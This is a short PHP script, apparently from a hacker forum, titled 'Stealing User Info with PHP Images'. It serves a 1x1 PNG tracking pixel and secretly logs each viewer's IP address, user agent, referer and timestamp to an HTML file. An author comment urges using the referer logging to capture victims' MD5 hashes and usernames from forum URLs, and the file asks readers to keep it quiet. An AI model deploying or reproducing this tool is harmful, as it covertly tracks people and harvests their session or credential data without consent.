Stealing User Info with PHP Images

<?php

/*
.:Made by t3hmadhtt3r -- [email protected]:.
.:Please don't share! Keep this quiet!:.
.:Please be safe:.
.:Enjoy!:.
*/

// Defining Variables

$IP = $_SERVER['REMOTE_ADDR']; // Saves the IP
$UA = $_SERVER['HTTP_USER_AGENT']; // Saves the User Agent
$RE = $_SERVER['HTTP_REFERER']; // Saves the Referer
$DATE = date('l jS \of F Y h:i:s A');
$DATA = '<p>IP: '.$IP.'<br/><p>User Agent: '.$UA.'<br/><p>Referer: '.$RE.'<br/><p>Date: '.$DATE.'<br/><br/><br/>';

/*PS: Try using the referer logging feature to exploit forums and sites that keep useful info in the URL. Example: HTTP://WWW.LAMESITE.COM/POST.PHP?ID=4&HASH=(THE VICTIMS MD5 HASH)&USER=t3hmadhatt3r*/

// Writing the logs

$fp = fopen('Cool_Huh?.html', 'a');
fwrite($fp, $DATA);
fclose($fp);

// Behold the mighty GD Library ^_^

header("Content-type: image/png");
$img = ImageCreate (1, 1);
$bg = ImageColorAllocate ($img, 0, 0, 0);
$txt = ImageColorAllocate ($img, 0, 0, 0);
ImagePng($img);

// Later...
?>